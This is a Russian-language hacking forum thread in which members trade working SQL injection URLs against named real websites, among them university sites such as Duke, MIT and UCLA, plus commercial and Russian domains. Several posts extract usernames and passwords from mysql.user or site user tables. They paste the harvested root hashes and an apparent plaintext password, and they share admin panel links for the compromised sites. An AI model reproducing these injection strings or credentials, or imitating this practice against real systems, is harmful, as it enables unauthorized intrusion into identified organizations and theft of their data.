SQL Инъекции

Code:

http://www.tarquinbooks.com/default.asp?Categoryid=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*

глухарь=\

 

2KPOT_f!nd

Code:

http://www.carmedia.org/carmedia/accueil.php?idnews=-61+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

колонок всего 16, таблиц чето не нашел, надо форум смотреть.

 

Code:

http://zonewm.biz/showasf.php?id=-4+union+select+1,2,3,4,5,6,7,8,9/*
http://www.businessandemployment.biz/news/news.php?id=-200+union+select+1,2,3,4,5,6,7+from+phpcms_news/*

 

Админка: http://zonewm.biz/admin/
___zonewm.biz/showasf.php?id=-4+union+select+1,id,3,mail,5,pass,7,8,9+from+user/*

-= tables =-

user
sites
stat
news
gb

 

Code:

http://www.arabmonitor.info/news/dettaglio.php?idnews=-17989+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+NEWS/*
http://www.pechka.biz/main.php?id=-1+union+select+1,2,3,4,5,6/*
http://www.togather.biz/showcg.php?id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
http://www.insideout.biz/article.php?id=-70+union+select+1,2,password,4+from+mysql.user/*

немного в зоне biz

 

такую таблицу еще не встречал

 

Code:

http://dukemednews.duke.edu/news/article.php?id=-6422+union+select+1,2,3,4,user,password,7,8+from+mysql.user/*

root:623460e26f081bbc

Code:

http://llk.media.mit.edu/projects.php?id=-783+union+select+1,2,3,user,password,6,7,8+from+mysql.user+limit+30/*
http://llk.media.mit.edu/projects.php?id=-783+union+select+1,2,3,4,5,6,7,8/*
http://llk.media.mit.edu/projects.php?id=-783+union+select+1,2,3,4,5,6,7,8,9,10/*

root:1c3b7f0b58c961df

Code:

http://www2.ric.edu/news/displayNews.php?id=news-359+union+select+1,2,user,4,password,6+from+mysql.user/*

root:admkrubino

Code:

http://www.bridgewater.edu/index.php?id=-856+union+select+1,2,3/*
http://blogsforlearning.msu.edu/articles/view.php?id=-6+union+select+1,2,3,4,5,6,7,8,9/*
http://studyabroad.arizona.edu/display_program.php?id=-171+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*
http://dma.ucla.edu/gallery/faculty_gallery.php?ID=-101+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
http://olin.msu.edu/factsheet.php?ID=-18+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*
http://www.ee.virginia.edu/profile.php?ID=-42+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*

Code:

http://math.smsu.edu/~erik/software.php?id=7'
http://kmoddl.library.cornell.edu/resources.php?id=105'

немного домены в зоне EDU

 

Code:

http://bs-stat.com.ua/article.php?article=-75+order+by+3/*     

HTML:

http://maximum.in.ua/view.php?page=info&record=8091'

HTML:

 http://www.19rus.info/news.php?news_id=15945'  (PostgreSQL)

 

2KPOT_f!nd

какие-то беспонтовые(

 

KPOT_f!nd, _ttp://dukemednews.duke.edu уже было
VampiRUS, _ttp://www.linspire.com было

 

Zebra telecom

=========
zebra.ru
=========

Code:

http://www.zebra.ru/private/newsall.php?prn=-5+union+select+concat(user(),char(59),database())/*

 

мдааа

 

Code:

http://www.digitalcitiesproject.net/arts/show.php?pid=-32+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

Code:

http://www.lotinfo.com/index.php?page=news&id=-28+union+select+1,database(),version(),4,5/*

 

zonewm.biz

Code:

http://zonewm.biz/showasf.php?id=-4+union+select+1,2,3,concat(pass,0x3a,mail,0x3a,id),5,6,7,8,9+from+user/*

Code:

http://kvint.biz/index.php?id=-14+union+select+1,user()/*

 

ВНИМАНИЯ​

offtop:

По причинам накручевания репутации через тему SQL Инъекции , всем активным участникам этой темы было поставлено минус в виде - Участие в цепочке по накрутке репы через тему " SQL Инъекции "! Призываю вас братья, остановитесь! Хватит накручивать себе репу, нас зовут наркоманами, мы не кто. Мы не хотим в МОА, потому что нас там не ждут. Но мы боримся и будем выживать на этом поле сражения, нам наплевать на ваши предупреждения в виде "минуса", потому что не репутация нас волнует, а тот ФАКТ что нам интересно ИСКАТЬ УЯЗВИМОСТИ СПОСОБОМ SQL INJ и ДЕЛИТЬСЯ ЗНАНИЯМИ С ДРУГИМИ!

 

неужели валуехост всем так нравиться)

 

2alextoun

Прогоняя через лимит просматриваем юзеров.
Админка:
http://www.medsait.ru/admin/

HTML:

<input type=text size=15 name=username class=submit3>

<input type=password size=15 name=passwd class=submit3>

 

блин всё время забываю админку найти...

 

=\

 

0_o Ты Работаеш На Них! =)